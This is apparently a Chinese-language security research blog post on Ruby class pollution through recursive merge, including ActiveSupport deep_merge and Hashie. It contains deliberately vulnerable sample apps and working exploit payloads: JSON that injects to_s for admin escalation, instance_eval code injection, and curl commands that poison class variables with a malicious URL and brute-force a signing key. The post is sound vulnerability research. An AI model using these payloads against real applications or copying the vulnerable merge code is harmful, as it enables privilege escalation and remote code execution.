Ruby类污染:深入利用递归合并漏洞

本文深入探讨Ruby中的类污染漏洞,通过递归合并操作实现权限提升和远程代码执行,分析ActiveSupport和Hashie库的潜在风险,展示如何逃逸对象上下文污染父类和其他类。

Ruby类污染:深入利用递归合并漏洞

引言

本文将探讨Ruby中一类鲜为人知的漏洞——类污染。这一概念受JavaScript原型污染的启发,通过递归合并操作污染对象的类变量,最终导致意外行为。最初在关于Python原型污染的博客中讨论,研究人员使用递归合并污染类变量,并通过__globals__属性影响全局变量。

在Ruby中,类污染可分为三种主要情况:

  1. 哈希合并:此场景下无法实现类污染,因为合并操作仅限于哈希本身。
  2. 属性合并(非递归):可以污染对象的实例变量,可能通过注入返回值替换方法。这种污染仅限于对象本身,不影响类。
  3. 属性合并(递归):递归合并的特性允许我们逃逸对象上下文,污染父类甚至无关类的属性或方法,对应用产生更广泛的影响。

属性合并

首先分析一个代码示例,通过递归合并修改对象方法,改变应用行为。这种污染仅限于对象本身。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
require 'json'

# 基类,用于管理员和普通用户
class Person
  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  # 将额外数据合并到对象的方法
  def merge_with(additional)
    recursive_merge(self, additional)
  end

  # 基于`to_s`方法结果进行授权
  def authorize
    if to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end

  # 使用`instance_eval`执行所有受保护方法的健康检查
  def health_check
    protected_methods().each do |method|
      instance_eval(method.to_s)
    end
  end

  private

  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end

  protected

  def check_cpu
    puts "CPU check passed."
  end

  def check_memory
    puts "Memory check passed."
  end
end

# 管理员类继承自Person
class Admin < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end

  def to_s
    "Admin"
  end
end

# 普通用户类继承自Person
class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end

  def to_s
    "User"
  end
end

class JSONMergerApp
  def self.run(json_input)
    additional_object = JSON.parse(json_input)

    # 实例化普通用户
    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    # 执行递归合并,可能覆盖方法
    user.merge_with(additional_object)

    # 授权用户(权限提升漏洞)
    # ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.authorize

    # 执行健康检查(RCE漏洞)
    # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.health_check
  end
end

if ARGV.length != 1
  puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
  exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

在提供的代码中,我们对User对象的属性执行递归合并。这允许我们注入或覆盖值,可能在不直接修改类定义的情况下改变对象行为。

工作原理:

  • 初始化和设置:User对象使用特定属性初始化:name、age和details。这些属性作为实例变量存储在对象中。
  • 合并:调用merge_with方法,传入表示要合并到User对象的额外数据的JSON输入。
  • 改变对象行为:通过传递精心构造的JSON数据,可以修改或注入新的实例变量,影响User对象的行为。
    • 例如,在authorize方法中,to_s方法决定用户是否被授予管理员权限。通过注入返回值为"Admin"的新to_s方法,可以提升用户权限。
    • 类似地,在health_check方法中,可以通过覆盖通过instance_eval调用的方法注入任意代码执行。

漏洞利用示例:

  • 权限提升

    1
    
    ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    

    注入返回"Admin"的新to_s方法,授予用户未授权的管理员权限。

  • 远程代码执行

    1
    
    ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    

    protected_methods列表注入新方法,随后由instance_eval执行,允许任意代码执行。

限制:

上述更改仅限于特定对象实例,不影响同一类的其他实例。这意味着虽然对象行为被改变,但同一类的其他对象保持不变。

此示例突显了看似无害的操作(如递归合并)如果未妥善管理,可能被利用引入严重漏洞。通过理解这些风险,开发者可以更好地保护应用免受此类攻击。

真实案例

接下来探讨两个最流行的Ruby合并库,看看它们如何易受类污染影响。需要注意的是,还有其他库可能受此类问题影响,这些漏洞的整体影响各不相同。

1. ActiveSupport的deep_merge

ActiveSupport是Ruby on Rails的内置组件,为哈希提供deep_merge方法。该方法本身不可利用,因为它仅限于哈希。但如果与以下代码结合使用,可能变得易受攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 使用ActiveSupport deep_merge将额外数据合并到对象的方法
def merge_with(other_object)
  merged_hash = to_h.deep_merge(other_object)

  merged_hash.each do |key, value|
    self.class.attr_accessor key
    instance_variable_set("@#{key}", value)
  end

  self
end

在此示例中,如果按所示使用deep_merge,我们可以类似第一个示例利用它,导致应用行为的潜在危险变化。

2. Hashie

Hashie库广泛用于在Ruby中创建灵活的数据结构,提供deep_merge等功能。然而,与之前ActiveSupport的示例不同,Hashie的deep_merge方法直接操作对象属性而非普通哈希。这使其更易受属性污染。

Hashie有一个内置机制,防止在合并期间直接用属性替换方法。通常,如果尝试通过deep_merge用属性覆盖方法,Hashie会阻止尝试并发出警告。但此规则有特定例外:以_!?结尾的属性仍可以合并到对象中,即使与现有方法冲突。

关键点:

  • 方法保护:Hashie保护方法名不被以_!?结尾的属性直接覆盖。例如,尝试用to_s_属性替换to_s方法不会引发错误,但方法也不会被替换。to_s_的值不会覆盖方法行为,确保现有方法功能保持完整。此保护机制对于维护Hashie对象中方法的完整性至关重要。
  • _的特殊处理:关键漏洞在于_作为独立属性的处理。在Hashie中,访问_时,它返回一个与您交互的类的新Mash对象(本质上是临时对象)。此行为允许攻击者访问并使用此新Mash对象,就像它是真实属性一样。虽然方法不能被替换,但访问_属性的此特性仍可被利用注入或修改值。 例如,通过向Mash注入"_": "Admin",攻击者可以诱骗应用访问由_创建的临时Mash对象,该对象可以包含绕过保护的恶意注入属性。

实际示例

考虑以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
require 'json'
require 'hashie'

# 基类,用于管理员和普通用户
class Person < Hashie::Mash
  # 使用hashie将额外数据合并到对象的方法
  def merge_with(other_object)
    deep_merge!(other_object)
    self
  end

  # 基于to_s授权
  def authorize
    if _.to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end
end

# 管理员类继承自Person
class Admin < Person
  def to_s
    "Admin"
  end
end

# 普通用户类继承自Person
class User < Person
  def to_s
    "User"
  end
end

class JSONMergerApp
  def self.run(json_input)
    additional_object = JSON.parse(json_input)

    # 实例化普通用户
    user = User.new({
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    })

    # 执行深度合并,可能覆盖方法
    user.merge_with(additional_object)

    # 授权用户(权限提升漏洞)
    # 利用:如果在JSON中传递{"_": "Admin"},用户将被视为管理员。
    # 使用示例:ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.authorize
  end
end

if ARGV.length != 1
  puts "Usage: ruby hashie.rb 'JSON_STRING'"
  exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

在提供的代码中,我们利用Hashie对_的处理来操纵授权过程的行为。当调用_.to_s时,它访问新创建的Mash对象,而不是返回方法定义的值,我们可以在其中注入值"Admin"。这允许攻击者通过向临时Mash对象注入数据来绕过基于方法的授权检查。

例如,JSON有效载荷{"_": "Admin"}将字符串“Admin”注入到由_创建的临时Mash对象中,允许用户通过authorize方法被授予管理员访问权限,即使to_s方法本身没有被直接覆盖。

此漏洞突显了Hashie库的某些特性如何被利用来绕过应用逻辑,即使有防止方法覆盖的保护措施。

逃逸对象以污染类

当合并操作是递归的并针对属性时,有可能逃逸对象上下文,污染类、其父类甚至其他无关类的属性或方法。这种污染影响整个应用上下文,可能导致严重漏洞。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
require 'json'
require 'sinatra/base'
require 'net/http'

# 基类,用于管理员和普通用户
class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end

  # 将额外数据合并到对象的方法
  def merge_with(additional)
    recursive_merge(self, additional)
  end

  private

  # 递归合并以修改实例变量
  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end
end

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end

# 创建的类,模拟用密钥签名,将被第三个gadget感染
class KeySigner
  @@signing_key = "default-signing-key"

  def self.signing_key
    @@signing_key
  end

  def sign(signing_key, data)
    "#{data}-signed-with-#{signing_key}"
  end
end

class JSONMergerApp < Sinatra::Base
  # POST /merge - 使用JSON输入感染类变量
  post '/merge' do
    content_type :json
    json_input = JSON.parse(request.body.read)

    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    user.merge_with(json_input)

    { status: 'merged' }.to_json
  end

  # GET /launch-curl-command - 激活第一个gadget
  get '/launch-curl-command' do
    content_type :json

    # 此gadget向存储在User类中的URL发出HTTP请求
    if Person.respond_to?(:url)
      url = Person.url
      response = Net::HTTP.get_response(URI(url))
      { status: 'HTTP request made', url: url, response_body: response.body }.to_json
    else
      { status: 'Failed to access URL variable' }.to_json
    end
  end

  # 感染User类URL的curl命令:
  # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

  # GET /sign_with_subclass_key - 使用存储在KeySigner中的签名密钥签名数据
  get '/sign_with_subclass_key' do
    content_type :json

    # 此gadget使用存储在KeySigner类中的签名密钥签名数据
    signer = KeySigner.new
    signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

    { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
  end

  # 感染KeySigner签名密钥的curl命令(循环运行直到成功):
  # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

  # GET /check-infected-vars - 检查所有变量是否已被感染
  get '/check-infected-vars' do
    content_type :json

    {
      user_url: Person.url,
      signing_key: KeySigner.signing_key
    }.to_json
  end

  run! if app_file == $0
end

在以下示例中,我们演示了两种不同类型的类污染:

(A) 污染父类:通过递归合并属性,我们可以修改父类中的变量。此修改影响该类的所有实例,可能导致应用中的意外行为。

(B) 污染其他类:通过暴力子类选择,我们最终可以定位并污染特定类。此方法涉及重复尝试污染随机子类,直到所需子类被感染。虽然有效,但此方法可能由于随机性和过度感染的潜力导致问题。

两种漏洞利用的详细说明

(A) 污染父类 在此漏洞利用中,我们使用递归合并操作修改Person类(User的父类)中的@@url变量。通过向此变量注入恶意URL,我们可以操纵应用后续的HTTP请求。

例如,使用以下curl命令:

1
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

我们成功污染了Person类中的@@url变量。当访问/launch-curl-command端点时,它现在向http://malicious.com发送请求,而不是原始URL。

这演示了递归合并如何逃逸对象级别并修改类级别变量,影响整个应用。

(B) 污染其他类 此漏洞利用利用暴力感染特定子类。通过重复尝试向随机子类注入恶意数据,我们最终可以定位并污染负责签名数据的KeySigner类。

例如,使用以下循环curl命令:

1
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

我们尝试污染KeySigner中的@@signing_key变量。经过几次尝试后,KeySigner类被感染,签名密钥被替换为我们注入的密钥。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计